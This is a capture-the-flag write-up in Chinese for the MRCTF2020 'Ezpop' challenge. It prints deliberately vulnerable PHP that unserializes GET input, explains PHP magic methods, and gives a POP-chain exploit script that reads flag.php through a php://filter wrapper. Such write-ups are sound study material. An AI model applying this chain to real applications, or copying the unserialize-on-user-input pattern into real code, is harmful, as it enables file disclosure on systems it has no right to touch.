[MRCTF2020]Ezpop
Welcome to index.php <?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
|
PHP魔法方法/函数详解
https://www.jianshu.com/p/4afdd03c7923
一文让PHP反序列化从入门到进阶
https://xz.aliyun.com/t/6753
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用
__sleep() 在对象在被 序列化 之前运行
__wakeup 在对象在被 反序列化 之前
|
2. __get() 和 __set()

怎么理解呢:
就是:
当年调用类里面一个不存在属性时:会触发 __get()函数!
当年设置类面一个不存在属性时: 会触发__set()函数!
10. __invoke()
invoke(呼叫)。
在php中这个方法用于,把对象当方法用的时候。此方法会被调用。很简单。注意,此方法仅5.3以上版本支持。
class Invoke {
public function __invoke() { echo 'I can run'.PHP_EOL; } }
$invoke = new Invoke(); $invoke();
|
知道了上面:
这里我们应该可以想到:
通过TEST类 调用Modifier()方法
wccccccccccc
我是真的菜!每次想问题总想不明白!:
php反序列化:
serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象
|
上面也写的很清楚!
把对象变成字符串(序列化)!再把对象还原(反序列化)!
0x01 魔术方法
__construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发xxxxxxxxxx __construct()//创建对象时触发__construct()//创建对象时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__invoke() //当脚本尝试将对象调用为函数时触发
|
这个__construct()是创建对象时用的!把对象反序列化不说创建对象!可以理解成把对象还原!
自己测试了测试,发现Test反序列化时压根都没有调用__construct()方法!说明反序列化操作只是把原来的序列化好的函数变成字符串,方便传输而已!
所以反序列化时不用管__construct(),只有新创建的对象时才管!
可以简单理解:
反序列化时就是用的原来的对象!

好了疑惑和知识点都学的差不多!
做题:
这里直接拿了某位大佬的图!

exp:
<?php
class Modifier { protected $var; public function __construct(){ $this->var="php://filter/convert.base64-encode/resource=flag.php"; } }
class Show{ public $source; public $str;
}
class Test{ public $p; public function __construct(){ $this->p =new Modifier; } }
$a=new Show(); $a->str=new Test; $b=new Show; $b->source=$a; echo serialize($b)."\n";
echo urlencode(serialize($b));
|